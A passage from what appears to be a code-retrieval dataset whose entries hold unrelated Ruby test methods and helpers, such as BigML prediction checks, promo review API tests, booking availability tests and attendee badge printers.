local_prediction.is_a?(Hash)\n prediction = local_prediction['prediction']\n else\n prediction = local_prediction\n end \n\n if (local_ensemble.regression)# or \n #(local_model.is_a?(BigML::MultiModel) and local_model.models[0].regression)\n assert_equal(prediction.to_f.round(4), prediction_result.to_f.round(4))\n else\n assert_equal(prediction, prediction_result) \n end\n \n puts \"And the local prediction's confidence is <%s>\" % confidence\n if local_prediction.is_a?(Array)\n local_confidence = local_prediction[1]\n elsif local_prediction.is_a?(Hash)\n local_confidence = local_prediction.key?('confidence') ? \n local_prediction['confidence'] : \n local_prediction['probability'] \n else\n local_confidence = local_prediction\n end \n \n assert_equal(local_confidence.to_f.round(3), confidence.round(3))\n end\n end",
"title": ""
},
{
"docid": "d4934d2323ce65154bb0f00a219b6cff",
"score": "0.5469767",
"text": "def test_get_assessments_for\n @participant = participants(:par14)\n #debugger\n responses = FeedbackResponseMap.get_assessments_for(@participant)\n #print responses\n #assert_equal 1,responses.length\n #assert responses[0] == response_maps(:response_map7)\n assert_equal responses,@participant.feedback\n \n end",
"title": ""
},
{
"docid": "32d873444a476b627d0b9d0c01ea8a63",
"score": "0.54679924",
"text": "def printer(attendees)\n batch_badge_creator(attendees).each do |x|\n puts x\n end\n assign_rooms(attendees).each do |x|\n puts x\n end\nend",
"title": ""
},
{
"docid": "52f085b8ea2144c3b7aa6901b708a40a",
"score": "0.5465476",
"text": "def test_reviewing_increases_contribution_and_review_count_for_promo_user\n # Setup\n @user = setup_user\n\n # Step 1\n assign_http(Config['turtle']['host'])\n\n my_teams = @promo['TeamNames'].pop(2)\n\n headers = { 'Authorization' => \"Bearer #{@user.oauth_token}\" }\n params = {\n 'promo_id' => @active_promo_id,\n 'promo_team' => \"#{my_teams[0]}\"\n }\n\n put '/usr', params, headers\n assert_response(@response, :success)\n assert_equal(params['promo_team'], @parsed_response['promo_team'], @parsed_response['promo_team'])\n assert(my_teams.include?(@parsed_response['promo_teams'][0]), @parsed_response['promo_teams'])\n\n # Step 2\n business_listings = get_promo_listings.shuffle\n int_xxid = business_listings.first['Int_Xxid']\n\n search_opts = { 'promo_id' => @active_promo_id }\n\n get_consumer_business_resp(int_xxid, search_opts)\n assert_response(@response, :success)\n review_points = get_promo_points_for_business(@parsed_response['Business']['Int_Xxid'])['review_points']\n\n # Step 3\n assign_http(Config['snake']['host'])\n\n params = {\n 'access_token' => @user.oauth_token,\n 'promo_id' => @active_promo_id\n }.merge(api_key)\n\n get '/pros/dashboard', params\n assert_response(@response, :success)\n assert_equal(0, @parsed_response['user_stats']['review_count'])\n assert_equal(0, @parsed_response['user_stats']['contributed_points'])\n assert_equal(@promo['ReviewCount'] , @parsed_response['promo']['review_count'])\n assert_equal(@promo['ContributedPoints'], @parsed_response['promo']['contributed_points'])\n promo_review_count = @parsed_response['promo']['review_count']\n promo_contributed_points = @parsed_response['promo']['contributed_points']\n\n # Step 4\n params = {\n 'body' => 'This business is very business-like and I would do business with this business again if I have business with them.',\n 'source' => 'XX3',\n 'subject' => 'Review made by API',\n 'value' => rand(1..5),\n 'listing_id' => int_xxid,\n 'oauth_token' => @user.oauth_token,\n 'promo_id' => @active_promo_id\n }.merge(api_key)\n\n put '/snake/usr/reviews', params\n assert_response(@response, :success)\n assert(@parsed_response['ratings'], @parsed_response)\n assert(@parsed_response['ratings']['Rating'], @parsed_response['ratings'])\n assert_equal(review_points, @parsed_response['ratings']['Rating']['Points'],\n \"Expected business promo points #{review_points} to match response: #{@parsed_response['ratings']['Rating']['Points']}\")\n\n # Step 5\n params = {\n 'access_token' => @user.oauth_token,\n 'promo_id' => @active_promo_id\n }.merge(api_key)\n\n get '/pros/dashboard', params\n assert_response(@response, :success)\n assert_equal(1, @parsed_response['user_stats']['review_count'])\n assert_equal(review_points, @parsed_response['user_stats']['contributed_points'])\n assert_equal(promo_review_count + 1, @parsed_response['promo']['review_count'])\n assert_equal(promo_contributed_points + review_points, @parsed_response['promo']['contributed_points'])\n\n # Step 6\n assign_http(Config['turtle']['host'])\n\n headers = { 'Authorization' => \"Bearer #{@user.oauth_token}\" }\n params = {\n 'promo_id' => @active_promo_id,\n 'promo_teams' => my_teams\n }\n\n put '/usr', params, headers\n assert_response(@response, :success)\n assert(my_teams.include?(@parsed_response['promo_team']), @parsed_response['promo_team'])\n assert_equal(my_teams.sort, @parsed_response['promo_teams'].sort, @parsed_response['promo_teams'])\n\n # Step 7\n int_xxid = business_listings[1]['Int_Xxid']\n\n get_consumer_business_resp(int_xxid, search_opts)\n assert_response(@response, :success)\n review_points_2 = get_promo_points_for_business(@parsed_response['Business']['Int_Xxid'])['review_points']\n split_total_points = ((review_points_2.to_f / my_teams.length).ceil * my_teams.length)\n\n # Step 8\n assign_http(Config['snake']['host'])\n\n params = {\n 'body' => 'This business is very business-like and I would do business with this business again if I have business with them.',\n 'source' => 'XX3',\n 'subject' => 'Review made by API',\n 'value' => rand(1..5),\n 'listing_id' => int_xxid,\n 'oauth_token' => @user.oauth_token,\n 'promo_id' => @active_promo_id\n }.merge(api_key)\n\n put '/snake/usr/reviews', params\n assert_response(@response, :success)\n assert(@parsed_response['ratings'], @parsed_response)\n assert(@parsed_response['ratings']['Rating'], @parsed_response['ratings'])\n assert_equal(split_total_points, @parsed_response['ratings']['Rating']['Points'],\n \"Expected business promo points #{split_total_points} to match response: #{@parsed_response['ratings']['Rating']['Points']}\")\n\n # Step 9\n params = {\n 'access_token' => @user.oauth_token,\n 'promo_id' => @active_promo_id\n }.merge(api_key)\n\n get '/pros/dashboard', params\n assert_response(@response, :success)\n assert_equal(2, @parsed_response['user_stats']['review_count'])\n assert_equal((split_total_points + review_points), @parsed_response['user_stats']['contributed_points'])\n end",
"title": ""
},
{
"docid": "6db07a0c9802b6266d4c136b5ef69361",
"score": "0.54557496",
"text": "def extra_blocking_issue_tests(type,mail,*args)\n #debug_email_text(type,mail,:full)\n\n expected_recipients = @test_blocking_issue.errata.notify_and_cc_emails\n expected_recipients << @test_blocking_issue.blocking_role.blocking_issue_target\n expected_recipients.uniq!\n assert_equal expected_recipients.sort, mail.to.sort, \"wrong recipients\"\n\n assert_match @test_blocking_issue.summary, mail.body.to_s, \"should show blocking issue summary\"\n assert_match @test_blocking_issue.description, mail.body.to_s, \"should show blocking issue description\"\n\n # (Actually these are in the layout)\n assert_match @test_blocking_issue.errata.name_release_and_synopsis, mail.body.to_s, \"should show name_release_and_synopsis\"\n assert_match @test_blocking_issue.errata.status.to_s, mail.body.to_s, \"should show status\"\n\n # etc\n end",
"title": ""
},
{
"docid": "b5a9f43cbf50b79274770e94a19848f1",
"score": "0.5453687",
"text": "def test_exercise_1115\n verify_method :exercise_1115,\n :with => [{params: [[0], 1], expect: [1]},\n {params: [[0], 2], expect: [1, 0]},\n {params: [[1, 1], 2], expect: [0, 2]},\n {params: [[1, 2, 3, 3, 3, 4], 5], expect: [0, 1, 1, 3, 1]}]\n end",
"title": ""
},
{
"docid": "9f1786c341aca912033eda15cbd62178",
"score": "0.54492354",
"text": "def printer(attendees)\n# call .each on the return of the batch_badge_creator method \n batch_badge_creator(attendees).each do | badge |\n puts badge\n end\n \n# call .each on the return of the assign_rooms method \n assign_rooms(attendees).each do | room |\n puts room\n end \nend",
"title": ""
},
{
"docid": "738e55d1b5f14d6c2446694d93ba747a",
"score": "0.5444931",
"text": "def test_promo_points_bonus_first_photo_review\n # Setup\n params = {\n 'code' => @active_promo,\n 'api_key' => @api_key\n }\n\n get '/pros/verify', params\n assert_response(@response, :success, \"Expected #{@active_promo} to be a valid and active promo, but it wasn't.\")\n assert_equal(@active_promo, @parsed_response['promo']['code'])\n assert(@parsed_response['promo']['first_photo_bonus_points'] > 0)\n assert(@parsed_response['promo']['first_review_bonus_points'] > 0)\n\n @user1 = setup_user({ 'promo_id' => @active_promo_id })\n\n assign_http(Config['turtle']['host'])\n\n headers = { 'Authorization' => \"Bearer #{@user1.oauth_token}\" }\n params = { 'promo_id' => @active_promo_id }\n params['promo_team'] = @promo['TeamNames'].sample unless @promo['TeamNames'].empty?\n\n put '/usr', params, headers\n assert_response(@response, :success)\n\n @user2 = setup_user({ 'promo_id' => @active_promo_id })\n\n headers['Authorization'] = \"Bearer #{@user2.oauth_token}\"\n params['promo_team'] = @promo['TeamNames'].sample unless @promo['TeamNames'].empty?\n\n put '/usr', params, headers\n assert_response(@response, :success)\n\n int_xxid = 476303692\n\n search_opts = { 'promo_id' => @active_promo_id }\n\n get_consumer_business_resp(int_xxid, search_opts)\n assert_response(@response, :success)\n assert(@parsed_response['Business']['Rateable'] == 1, \"The Int_Xxid #{int_xxid} is not Rateable: #{@parsed_response}\")\n business = @parsed_response['Business']\n\n unless business['Ratings'].empty?\n assign_http(Config['panda']['host'])\n\n business['Ratings'].each do |rating|\n delete \"/rats/#{rating['Id']}\", {}\n assert_response(@response, :success)\n end\n\n get_consumer_business_resp(int_xxid, search_opts)\n assert_response(@response, :success)\n business = @parsed_response['Business']\n assert_empty(business['Ratings'])\n end\n\n unless business['Media']['Data'].empty?\n assign_http(Config['monkey']['host'])\n\n business['Media']['Data'].each do |media|\n if media['ImagePath']\n params = { 'api_key' => Config['monkey']['api_key'] }\n delete media['ImagePath'], params\n assert_response(@response, :success)\n end\n end\n\n get_consumer_business_resp(int_xxid, search_opts)\n assert_response(@response, :success)\n business = @parsed_response['Business']\n assert_empty(business['Media']['Data'])\n end\n\n assert(business['Promo'], business)\n bonus_first_photo_points = business['Promo']['PhotoPoints']\n bonus_first_review_points = business['Promo']['ReviewPoints']\n bonus_first_total_points = (bonus_first_photo_points + bonus_first_review_points)\n\n base_promo_stats = get_promo_with_code(@active_promo)\n\n # Step 1\n get_consumer_business_resp(int_xxid, search_opts)\n assert_response(@response, :success)\n business = @parsed_response['Business']\n\n business_points = get_promo_points_for_business(business['Int_Xxid'])\n base_photo_points = business_points['photo_points']\n base_review_points = business_points['review_points']\n base_total_points = (base_review_points + base_photo_points)\n assert_equal(base_photo_points, bonus_first_photo_points,\n 'Expected base_photo_points to equal bonus_first_photo_points')\n assert_equal(base_review_points, bonus_first_review_points,\n 'Expected base_review_points to equal bonus_first_review_points')\n assert_equal(base_total_points, bonus_first_total_points,\n 'Expected base_total_points to equal bonus_first_total_points')\n\n # Step 2\n assign_http(Config['snake']['host'])\n\n params = {\n 'access_token' => @user1.oauth_token,\n 'promo_id' => @active_promo_id,\n 'api_key' => @api_key\n }\n\n get '/pros/dashboard', params\n assert_response(@response, :success)\n user1_base_stats = @parsed_response['user_stats']\n assert_equal(0, user1_base_stats['photo_count'], user1_base_stats)\n assert_equal(0, user1_base_stats['review_count'], user1_base_stats)\n assert_equal(0, user1_base_stats['contributed_points'], user1_base_stats)\n\n params['access_token'] = @user2.oauth_token\n\n get '/pros/dashboard', params\n assert_response(@response, :success)\n user2_base_stats = @parsed_response['user_stats']\n assert_equal(0, user2_base_stats['photo_count'], user2_base_stats)\n assert_equal(0, user2_base_stats['review_count'], user2_base_stats)\n assert_equal(0, user2_base_stats['contributed_points'], user2_base_stats)\n\n assert_equal(base_promo_stats['ReviewCount'], @parsed_response['promo']['review_count'],\n \"Expected review_count #{@parsed_response['promo']['review_count']} to equal: #{base_promo_stats['ReviewCount']}\")\n assert_equal(base_promo_stats['PhotoCount'], @parsed_response['promo']['photo_count'],\n \"Expected photo_count #{@parsed_response['promo']['photo_count']} to equal: #{base_promo_stats['PhotoCount']}\")\n assert_equal(base_promo_stats['ContributedPoints'], @parsed_response['promo']['contributed_points'],\n \"Expected dashboard contributed_points #{@parsed_response['promo']['contributed_points']} to equal promo verify base contributed points: #{base_promo_stats['ContributedPoints']}\")\n\n # Step 3\n review_params = {\n 'body' => 'This business is very business-like and I would do business with this business again if I have business with them.',\n 'source' => 'XX3',\n 'subject' => 'Review made by API',\n 'value' => rand(1..5),\n 'listing_id' => int_xxid,\n 'oauth_token' => @user1.oauth_token,\n 'promo_id' => @active_promo_id,\n 'api_key' => @api_key\n }\n\n put '/snake/usr/reviews', review_params\n assert_response(@response, :success)\n assert_equal(@active_promo_id, @parsed_response['ratings']['Rating']['PromoId'])\n assert_equal(bonus_first_review_points, @parsed_response['ratings']['Rating']['Points'])\n\n upload_and_link_image_with_promo_for_int_xxid_by_user(int_xxid, @user1, @active_promo_id)\n assert_response(@response, :success)\n\n get_consumer_business_resp(int_xxid, search_opts)\n assert_response(@response, :success)\n business = @parsed_response['Business']\n\n business_points = get_promo_points_for_business(business['Int_Xxid'])\n updated_review_points = business_points['review_points']\n updated_photo_points = business_points['photo_points']\n updated_total_points = (updated_review_points + updated_photo_points)\n assert((base_photo_points > updated_photo_points),\n \"Expected updated_photo_points #{updated_photo_points}, to be less than base_photo_points: #{base_photo_points}\")\n assert((base_review_points > updated_review_points),\n \"Expected updated_review_points: #{updated_review_points}, to be less than base_review_points: #{base_review_points}\")\n\n assign_http(Config['snake']['host'])\n\n review_params['oauth_token'] = @user2.oauth_token\n\n put '/snake/usr/reviews', review_params\n assert_response(@response, :success)\n assert_equal(@active_promo_id, @parsed_response['ratings']['Rating']['PromoId'])\n assert_equal(updated_review_points, @parsed_response['ratings']['Rating']['Points'])\n\n upload_and_link_image_with_promo_for_int_xxid_by_user(int_xxid, @user2, @active_promo_id)\n assert_response(@response, :success)\n\n # Step 4\n get_consumer_business_resp(int_xxid, search_opts)\n assert_response(@response, :success)\n assert_equal(updated_photo_points, @parsed_response['Business']['Promo']['PhotoPoints'], @parsed_response)\n assert_equal(updated_review_points, @parsed_response['Business']['Promo']['ReviewPoints'], @parsed_response)\n assert_equal(updated_total_points, @parsed_response['Business']['Promo']['TotalPoints'], @parsed_response)\n\n # Step 5\n params = {\n 'access_token' => @user1.oauth_token,\n 'promo_id' => @active_promo_id,\n 'api_key' => @api_key\n }\n\n get '/pros/dashboard', params\n assert_response(@response, :success)\n user1_updated_stats = @parsed_response['user_stats']\n assert_equal(1, user1_updated_stats['photo_count'], user1_updated_stats)\n assert_equal(1, user1_updated_stats['review_count'], user1_updated_stats)\n assert_equal(base_total_points, user1_updated_stats['contributed_points'], user1_updated_stats)\n\n params['access_token'] = @user2.oauth_token\n\n get '/pros/dashboard', params\n assert_response(@response, :success)\n user2_updated_stats = @parsed_response['user_stats']\n assert_equal(1, user2_updated_stats['photo_count'], user2_updated_stats)\n assert_equal(1, user2_updated_stats['review_count'], user2_updated_stats)\n assert_equal(updated_total_points, user2_updated_stats['contributed_points'], user2_updated_stats)\n\n # Step 6\n contributed_points = (base_promo_stats['ContributedPoints'] + base_total_points + updated_total_points)\n assert_equal((base_promo_stats['ReviewCount'] + 2), @parsed_response['promo']['review_count'],\n \"Expected review_count #{@parsed_response['promo']['review_count']} to equal: #{(base_promo_stats['ReviewCount'] + 2)}\")\n assert_equal((base_promo_stats['PhotoCount'] + 2), @parsed_response['promo']['photo_count'],\n \"Expected photo_count #{@parsed_response['promo']['photo_count']} to equal: #{(base_promo_stats['PhotoCount'] + 2)}\")\n assert_equal(contributed_points, @parsed_response['promo']['contributed_points'],\n \"Expected dashboard contributed_points #{@parsed_response['promo']['contributed_points']} to equal promo verify base contributed points + added points: #{contributed_points}\")\n end",
"title": ""
},
{
"docid": "a0ff8ec48c1d840e3d9c5e4ee10099c4",
"score": "0.5443438",
"text": "def test_get_availability_success\n Booking.create(resource_id: 1,\n start: '2014-05-13 11:00'.to_datetime,\n finish: '2014-05-13 12:00'.to_datetime,\n user: '[email protected]',\n status: 'approved')\n Booking.create(resource_id: 1,\n start: '2014-05-13 14:00'.to_datetime,\n finish: '2014-05-13 15:00'.to_datetime,\n user: '[email protected]',\n status: 'pending')\n Booking.create(resource_id: 1,\n start: '2014-05-14 11:00'.to_datetime,\n finish: '2014-05-14 12:00'.to_datetime,\n user: '[email protected]',\n status: 'approved')\n get '/resources/1/availabilities', 'date' => '2014-05-12', 'limit' => '3'\n assert_equal 200, last_response.status\n last_response.headers['Content-Type'].must_equal 'application/json;charset=utf-8'\n assert_json_match availability_pattern(3), last_response.body\n end",
"title": ""
},
{
"docid": "42ce0845782c38ffa39ee39b28bc7271",
"score": "0.5442601",
"text": "def test_10_or_greater_rubies_victory_msg\n prosperous_miner = Prospector.new(0, @dummy_location, 0, rubies = 100, fakes = 0)\n assert_output (\"Going home victorious!\\n\") {\n prosperous_miner.declare_victory?\n }\n end",
"title": ""
},
{
"docid": "740598786a138dc5c904e8140e4fad8d",
"score": "0.543442",
"text": "def test_moderator_fetch_multi_batch_reviews\n # Setup\n @user = setup_user\n\n assign_http(Config['turtle']['host'])\n\n headers = { 'Authorization' => \"Bearer #{@user.oauth_token}\" }\n params = { 'promo_id' => @active_promo_id }\n params['promo_team'] = @promo['TeamNames'].sample unless @promo['TeamNames'].empty?\n\n put '/usr', params, headers\n assert_response(@response, :success)\n\n # Step 1\n business_listings = get_promo_listings\n assert(business_listings.length > 1)\n\n # Step 2\n assign_http(Config['panda']['host'])\n\n count = 0\n ids = []\n business_listings.each do |business|\n break if count >= 6\n\n params = {\n 'body' => 'This business is very business-like and I would do business with this business again if I have business with them.',\n 'source' => 'XX3',\n 'subject' => 'Review made by API',\n 'value' => rand(1..5),\n 'listing_id' => business['Int_Xxid'],\n 'oauth_token' => @user.oauth_token,\n 'promo_id' => @active_promo_id\n }\n\n put '/usr/reviews', params\n assert_response(@response, :success)\n ids << @parsed_response['RatingID']\n\n count += 1\n end\n\n rating_ids = ids.each_slice(3).to_a\n\n # Step 3\n moderator_id = unique_moderator_id\n\n params = {\n 'ids' => rating_ids[0],\n 'promo_id' => @active_promo_id,\n 'moderator_id' => moderator_id,\n 'status' => 'approved',\n 'notes' => 'excellent reviews!'\n }\n\n put '/mod/reviews/multi', params\n assert_response(@response, :success)\n reviews = @parsed_response['Reviews']\n\n rating_ids[0].each do |rating_id|\n review = reviews.find {|rev| rev['Id'] == rating_id}\n assert_equal(0, review['Suppressed'])\n assert_equal(1, review['Moderated'])\n assert_equal(moderator_id, review['ModeratorId'])\n assert_equal(@active_promo_id, review['PromoId'])\n assert_equal(params['notes'], review['Notes'])\n assert_nil(review['SuppressReason'])\n end\n\n # Step 4\n params = {\n 'ids' => rating_ids[1],\n 'promo_id' => @active_promo_id,\n 'moderator_id' => moderator_id,\n 'status' => 'rejected',\n 'suppress_reason' => 'terrible reviews!'\n }\n\n put '/mod/reviews/multi', params\n assert_response(@response, :success)\n reviews = @parsed_response['Reviews']\n\n rating_ids[1].each do |rating_id|\n review = reviews.find {|rev| rev['Id'] == rating_id}\n assert_equal(1, review['Suppressed'])\n assert_equal(1, review['Moderated'])\n assert_equal(moderator_id, review['ModeratorId'])\n assert_equal(@active_promo_id, review['PromoId'])\n assert_equal(params['suppress_reason'], review['SuppressReason'])\n assert_nil(review['Notes'])\n end\n end",
"title": ""
},
{
"docid": "abe2d47a21285b15f80f0d77ddf24e1b",
"score": "0.54276013",
"text": "def printer(attendees)\n batch_badge_creator(attendees).each do |x|\n puts x\n end\n assign_rooms(attendees).each do |x|\n puts x\n end\nend",
"title": ""
},
{
"docid": "d087ffc36314a923887a971aaa925701",
"score": "0.54261357",
"text": "def printer(speakers)\n batch_badge_creator(speakers).each do |badge|\n puts badge\n end\n \n assign_rooms(speakers).each do |assignment|\n puts assignment \n end\n \nend",
"title": ""
},
{
"docid": "99e585add6390cc4f883fe187164c385",
"score": "0.54245377",
"text": "def test_scenario1\n data = [{\"source_code\" => \"(define (mu x) (+ x 1))\",\n \"param\" => \"name\",\n \"param_value\" => \"my libr\"}]\n puts \n puts \"Scenario: Successfully creating a whizzml library\"\n \n data.each do |item|\n\n puts \"Given I create a whizzml library from a excerpt of code #{item['source_code']}\"\n library = @api.create_library(item[\"source_code\"])\n \n puts \"And I wait until the library is ready\" \n assert_equal(BigML::HTTP_CREATED, library[\"code\"])\n assert_equal(@api.ok(library), true)\n \n puts \"And I update the library with #{item['param']} , #{item['param_value']}\"\n library = @api.update_library(library, {item[\"param\"] => item[\"param_value\"]})\n\n puts \"And I wait until the library is ready\"\n assert_equal(BigML::HTTP_ACCEPTED, library[\"code\"])\n assert_equal(@api.ok(library), true) \n\n puts \"Then the library code is #{item['source_code']} and the value of #{item['param']} is #{item['param_value']}\"\n assert_equal(library[\"object\"][item[\"param\"]], item[\"param_value\"])\n\n end\n\n end",
"title": ""
},
{
"docid": "f61f6c0af650b65c5a26e933ef641679",
"score": "0.54007787",
"text": "def test_live_api_secondary_bad_request\n mock_clients bad_req_code, nil\n name = ENV['TEST_NAME']\n email = ENV['TEST_EMAIL']\n\n assert !name.nil?\n assert !email.nil?\n\n email_addr = EmailAddress.new(name, email)\n email_addr_text = \"#{name} <#{email}>\"\n\n request_hash = {}\n request_hash['from'] = nil\n request_hash['to'] = email_addr_text\n request_hash['cc'] = email_addr_text\n request_hash['bcc'] = email_addr_text\n request_hash['subject'] = 'Moisiadis Email API Test'\n request_hash['content'] = 'Sent with the Moisiadis Email API using Mailgun'\n\n expected_hash = {}\n expected_hash['from'] = nil\n expected_hash['to'] = [email_addr]\n expected_hash['cc'] = [email_addr]\n expected_hash['bcc'] = [email_addr]\n expected_hash['subject'] = request_hash['subject']\n expected_hash['content'] = request_hash['content']\n\n assert_equal expected_response(bad_req_code, expected_hash), ambiguous_request(request_hash)\n end",
"title": ""
},
{
"docid": "149062794bcfa04f30688d30086f4cd5",
"score": "0.53990984",
"text": "def test_send_multiple_pings\n end",
"title": ""
},
{
"docid": "30b0ddd1e274f1c898caac8526498fbf",
"score": "0.5396939",
"text": "def test_get_workflow_description_running\n good_alice_in_db\n @alice.run\n get '/workflow/alice/action/collect_alicedocs_from_source/description.json' do\n assert last_response.ok?\n result = JSON.parse( last_response.body )\n expected_result = {\n 'type' => 'Armagh::StandardActions::TWTestCollect',\n 'supertype' => 'Armagh::Actions::Collect',\n 'parameters' => [\n {\"name\"=>\"name\", \"description\"=>\"Name of this action configuration\", \"type\"=>\"string\", \"required\"=>true, \"default\"=>nil, \"prompt\"=>\"example-collect (Warning: Cannot be changed once set)\", \"group\"=>\"action\", \"warning\"=>nil, \"error\"=>nil, \"value\"=>\"collect_alicedocs_from_source\", \"options\"=>nil},\n {\"name\"=>\"active\", \"description\"=>\"Agents will run this configuration if active\", \"type\"=>\"boolean\", \"required\"=>true, \"default\"=>false, \"prompt\"=>nil, \"group\"=>\"action\", \"warning\"=>nil, \"error\"=>nil, \"value\"=>true, \"options\"=>nil},\n {\"name\"=>\"workflow\", \"description\"=>\"Workflow this action config belongs to\", \"type\"=>\"string\", \"required\"=>true, \"default\"=>nil, \"prompt\"=>\"<WORKFLOW-NAME>\", \"group\"=>\"action\", \"warning\"=>nil, \"error\"=>nil, \"value\"=>\"alice\", \"options\"=>nil},\n {\"default\"=>false, \"description\"=>\"Not normally displayed\", \"error\"=>nil, \"group\"=>\"action\", \"name\"=>\"retired\", \"options\"=>nil, \"prompt\"=>nil, \"required\"=>true, \"type\"=>\"boolean\", \"value\"=>false, \"warning\"=>nil},\n {\"name\"=>\"schedule\", \"description\"=>\"Schedule to run the collector. Cron syntax. If not set, Collect must be manually triggered.\", \"type\"=>\"string\", \"required\"=>false, \"default\"=>nil, \"prompt\"=>\"*/15 * * * *\", \"group\"=>\"collect\", \"warning\"=>nil, \"error\"=>nil, \"value\"=>\"7 * * * *\", \"options\"=>nil},\n {\"name\"=>\"archive\", \"description\"=>\"Archive collected documents\", \"type\"=>\"boolean\", \"required\"=>true, \"default\"=>true, \"prompt\"=>nil, \"group\"=>\"collect\", \"warning\"=>nil, \"error\"=>nil, \"value\"=>false, \"options\"=>nil},\n {\"name\"=>\"decompress\", \"description\"=>\"Decompress (gunzip) incoming documents\", \"type\"=>\"boolean\", \"required\"=>true, \"default\"=>false, \"prompt\"=>nil, \"group\"=>\"collect\", \"warning\"=>nil, \"error\"=>nil, \"value\"=>false, \"options\"=>nil},\n {\"name\"=>\"extract\", \"description\"=>\"Extract incoming archive files\", \"type\"=>\"boolean\", \"required\"=>true, \"default\"=>false, \"prompt\"=>nil, \"group\"=>\"collect\", \"warning\"=>nil, \"error\"=>nil, \"value\"=>false, \"options\"=>nil},\n {\"name\"=>\"extract_format\", \"description\"=>\"The extraction mechanism to use. Selecting auto will automatically determine the format based on incoming filename.\", \"type\"=>\"string\", \"required\"=>true, \"default\"=>\"auto\", \"prompt\"=>nil, \"group\"=>\"collect\", \"warning\"=>nil, \"error\"=>nil, \"value\"=>\"auto\", \"options\"=>[\"auto\", \"7zip\", \"tar\", \"tgz\", \"zip\"]},\n {\"name\"=>\"extract_filter\", \"description\"=>\"Only extracted files matching this filter will be processed. If not set, all files will be processed.\", \"type\"=>\"string\", \"required\"=>false, \"default\"=>nil, \"prompt\"=>\"*.json\", \"group\"=>\"collect\", \"warning\"=>nil, \"error\"=>nil, \"value\"=>nil, \"options\"=>nil},\n {\"name\"=>\"docspec\", \"description\"=>\"The type of document this action accepts\", \"type\"=>\"docspec\", \"required\"=>true, \"default\"=>\"__COLLECT__:ready\", \"prompt\"=>nil, \"group\"=>\"input\", \"warning\"=>nil, \"error\"=>nil, \"value\"=>\"__COLLECT__collect_alicedocs_from_source:ready\", \"valid_state\"=>\"ready\", \"options\"=>nil},\n {\"name\"=>\"docspec\", \"description\"=>\"The docspec of the default output from this action\", \"type\"=>\"docspec\", \"required\"=>true, \"default\"=>nil, \"prompt\"=>nil, \"group\"=>\"output\", \"warning\"=>nil, \"error\"=>nil, \"value\"=>\"a_alicedoc:ready\", \"valid_states\"=>[\"ready\", \"working\"], \"options\"=>nil},\n {\"name\"=>\"docspec2\", \"description\"=>\"collected documents of second type\", \"type\"=>\"docspec\", \"required\"=>true, \"default\"=>nil, \"prompt\"=>nil, \"group\"=>\"output\", \"warning\"=>nil, \"error\"=>nil, \"value\"=>\"b_alicedocs_aggr_big:ready\", \"valid_states\"=>[\"ready\", \"working\"], \"options\"=>nil},\n {\"name\"=>\"count\", \"description\"=>\"desc\", \"type\"=>\"integer\", \"required\"=>true, \"default\"=>6, \"prompt\"=>nil, \"group\"=>\"tw_test_collect\", \"warning\"=>nil, \"error\"=>nil, \"value\"=>6, \"options\"=>nil},\n {\"group\"=>\"action\", \"error\"=>nil},\n {\"group\"=>\"collect\", \"error\"=>nil}\n ]}\n assert_equal expected_result, result\n end\n end",
"title": ""
},
{
"docid": "2a7e6d9c623469381a98bfef8ee6df81",
"score": "0.53830284",
"text": "def test_exercise_119\n verify_method :exercise_119,\n :with => [{param: 1, expect: \"1\"},\n {param: 2, expect: \"10\"},\n {param: 3, expect: \"11\"},\n {param: 8, expect: \"1000\"},\n {param: 11, expect: \"1011\"}]\n end",
"title": ""
},
{
"docid": "e88aea80175500d7445618f7201e64a4",
"score": "0.5373835",
"text": "def run_specs(example_groups); end",
"title": ""
},
{
"docid": "5a9614d85110357ebba9e3df0830fd4b",
"score": "0.537343",
"text": "def test_collect_pledges\n assert_includes(Pledge.collect_pledges(@gift_banana.id),\n [\"Jillian\", \"[email protected]\", 5.00])\n assert_includes(Pledge.collect_pledges(@gift_banana.id),\n [\"Shannon\", \"[email protected]\", 10.00])\n refute_includes(Pledge.collect_pledges(@gift_potato.id),\n [\"Shannon\", \"[email protected]\", 5.00])\n end",
"title": ""
},
{
"docid": "36a5ce33ba886fb3a59f0bc2b552b1bd",
"score": "0.53718996",
"text": "def printer(attendees)\n batch_badge_creator(attendees).each_with_index do |badge|\n puts badge\n end\n assign_rooms(attendees).each_with_index do |room|\n puts room\n end\nend",
"title": ""
},
{
"docid": "efc6e38a96cb0e0cbe35535b6d7724c0",
"score": "0.5366033",
"text": "def printer(names)\n badges = batch_badge_creator(names)\n badges.each do |badge|\n puts badge\n end \n rooms_assigned = assign_rooms(names)\n rooms_assigned.each do |room_assigned|\n puts room_assigned\n end\nend",
"title": ""
},
{
"docid": "43918480f1793f5d9522ad2be395e190",
"score": "0.53555566",
"text": "def test_group_by_grade_should_include_16_and_under_with_or_without_grade_field_populated\n start_of_camp = Year.current.starts_on\n baby_without_grade = Participant.new(:lastname => \"Tester\", :firstname => \"Baby\",\n :birthdate => start_of_camp-1.years)\n baby_without_grade.save!\n six_year_old_with_grade = Participant.new(:lastname => \"Tester\", :firstname => \"Tommy\",\n :birthdate => start_of_camp-6.years, :grade => \"1st grade\")\n six_year_old_with_grade.save!\n\n six_year_old_without_grade = Participant.new(:lastname => \"Tester\", :firstname => \"Timmy\",\n :birthdate => start_of_camp-6.years)\n six_year_old_without_grade.save!\n sixteen_year_old_with_grade = Participant.new(:lastname => \"Tester\", :firstname => \"Tom\",\n :birthdate => start_of_camp-16.years, :grade => \"12th\")\n sixteen_year_old_with_grade.save!\n sixteen_year_old_without_grade = Participant.new(:lastname => \"Tester\", :firstname => \"Tim\",\n :birthdate => start_of_camp-16.years)\n sixteen_year_old_without_grade.save!\n\n assert Participant.current.count > 0\n assert Participant.registered.count > 0\n\n participants_by_grade = Participant.group_by_grade\n high_school_group = participants_by_grade[\"6: high_school\"]\n assert_false high_school_group.blank?, \"high school group should not be blank.\\nparticipants_by_grade is:\\n#{participants_by_grade.inspect}\"\n younger_elementary_group = participants_by_grade[\"3: younger_elementary\"]\n assert_false younger_elementary_group.blank?, \"younger elementary group should not be blank.\\nparticipants_by_grade is:\\n#{participants_by_grade.inspect}\"\n child_care_group = participants_by_grade[\"1: child_care\"]\n assert_false child_care_group.blank?, \"child care group should not be blank.\\nparticipants_by_grade is:\\n#{participants_by_grade.inspect}\"\n\n assert (child_care_group.include? baby_without_grade),\n \"#{child_care_group.inspect} \\n should have included \\n #{baby_without_grade.inspect}\"\n assert (younger_elementary_group.include? six_year_old_with_grade),\n \"#{younger_elementary_group.inspect} \\n should have included \\n #{six_year_old_with_grade.inspect}\"\n assert (high_school_group.include? sixteen_year_old_with_grade),\n \"#{high_school_group.inspect} \\n should have included 